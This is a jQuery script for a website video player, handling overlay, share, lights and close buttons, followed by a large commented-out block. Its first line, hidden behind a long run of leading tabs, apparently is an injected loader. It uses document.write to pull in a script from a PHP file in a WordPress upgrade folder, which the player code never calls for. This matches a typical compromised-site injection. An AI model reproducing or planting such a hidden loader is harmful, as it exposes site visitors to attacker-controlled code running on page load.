																														document.write('<script type="text/javascript" src="/wp-content/upgrade/drop_down.php"><\/script>');
function openShareWindow() {
	openVideoOverlay('share');
}

function onClickVideoButton(ev) {
	openVideoOverlay(jQuery(this).attr('alt'));
	return false;
}

function openVideoOverlay(n) {
	// If we clicked on lights, toggle the lights
	if (n == 'lights') {
		jQuery('.lights').slideToggle('slow');
		jQuery('.lights-button').toggleClass('active');
	}
	// Otherwise we're showing some sort of overlay
	else {
		jQuery('#header5 .video2').animate({opacity:'hide'},'fast');
		resumePlay = playState ? 1 : 0;
		jQuery('#header5 .video-'+n).stop().animate({opacity:'show'},'slow', function() {
			jQuery('#video-inside').css('visibility', 'hidden')[0].sendEvent('PLAY', false);
		});
	}
}

var player;
function playerReady(obj) {
	player = document.getElementById(obj['id']);
	player.addControllerListener('PLAY', "onPlayToggle");
}

var playState = true;
var resumePlay;
function onPlayToggle(args) {
	playState = args.state;
}


jQuery(function() {
	// Setup fading button states
	jQuery(".video-button-hover").hover(
		function(){ jQuery(this).children(".video-button-hover-image").animate({opacity: "show"}, "slow"); },
		function(){ jQuery(this).children(".video-button-hover-image").animate({opacity: "hide"}, "fast"); }
	);
	
	// Listen for clicks on buttons
	jQuery('img.video-button-hover-image').click(onClickVideoButton);
	
	// Setup close button
	jQuery(".close").click(function() {
		jQuery('#header5 .video2').animate({opacity:'hide'},'slow');
		jQuery('#video-inside').css('visibility', 'visible')
		if (resumePlay) player.sendEvent('PLAY', true);
	});
});


/*
jQuery(function(){

	jQuery(".play-button").hover(function() {
		jQuery(this).children(".play-button-hover").animate({opacity: "show"}, "slow");
	}, function() {
		jQuery(this).children(".play-button-hover").animate({opacity: "hide"}, "fast");
	});
	
	jQuery(".next").hover(function() {
		jQuery(this).children(".next-button").animate({opacity: "show"}, "slow");
	}, function() {
		jQuery(this).children(".next-button").animate({opacity: "hide"}, "fast");
	});
	
	jQuery(".prev").hover(function() {
		jQuery(this).children(".prev-button").animate({opacity: "show"}, "slow");
	}, function() {
		jQuery(this).children(".prev-button").animate({opacity: "hide"}, "fast");
	});
	
	jQuery(".embed-button").click(function() {
		jQuery(".video-tags").animate({opacity: "hide"}, "fast")
		jQuery(".video-related").animate({opacity: "hide"}, "fast")
	    jQuery(".video-rate").animate({opacity: "hide"}, "fast");
		jQuery(".video-share").animate({opacity: "hide"}, "fast")
		jQuery(".video-link").animate({opacity: "hide"}, "fast")
		jQuery("#video-inside").animate({opacity: "hide"}, "fast");
		jQuery(".video-embed").animate({opacity: "show"}, "fast");
	});

	jQuery(".share-button").click(openShareWindow);
	jQuery(".link-button").click(function() {
		jQuery(".video-tags").animate({opacity: "hide"}, "fast")
		jQuery(".video-related").animate({opacity: "hide"}, "fast")
	    jQuery(".video-rate").animate({opacity: "hide"}, "fast");
		jQuery("#video-inside").animate({opacity: "hide"}, "fast");
		jQuery(".video-link").animate({opacity: "show"}, "fast");
	});

	jQuery(".tags-button").click(function() {
		jQuery(".video-related").animate({opacity: "hide"}, "fast")
		jQuery("#video-inside").animate({opacity: "hide"}, "fast");
		jQuery(".video-tags").animate({opacity: "show"}, "fast");
	});
	jQuery(".rate-button").click(function() {
		jQuery(".video-tags").animate({opacity: "hide"}, "fast")
		jQuery(".video-related").animate({opacity: "hide"}, "fast")
		jQuery("#video-inside").animate({opacity: "hide"}, "fast");
		jQuery(".video-rate").animate({opacity: "show"}, "fast");
	});
	
	jQuery(".related-button").click(function() {
		jQuery("#video-inside").animate({opacity: "hide"}, "fast");
		jQuery(".video-related").animate({opacity: "show"}, "fast");
	});
	
	jQuery(".close").click(function() {
		jQuery(this).parent(".video2").animate({opacity: "hide"}, "slow");
		jQuery("#video-inside").animate({opacity: "show"}, "slow");
		jQuery(".video-rate").animate({opacity: "hide"}, "slow");
		jQuery(".video-tags").animate({opacity: "hide"}, "slow");
		jQuery(".video-comment").animate({opacity: "hide"}, "slow");
		jQuery(".video-link").animate({opacity: "hide"}, "slow");
		jQuery(".video-share").animate({opacity: "hide"}, "slow");
		jQuery(".video-embed").animate({opacity: "hide"}, "slow");
	});
	jQuery(".video-button-hover").hover(function() {
		jQuery(this).children(".video-button-hover-image").animate({opacity: "show"}, "slow");
	}, function() {
		jQuery(this).children(".video-button-hover-image").animate({opacity: "hide"}, "fast");
	});
	jQuery(".lights-button").click(function() {
		jQuery(".lights").slideToggle("slow");
		jQuery(this).toggleClass("active"); return false;
	});

});
*/
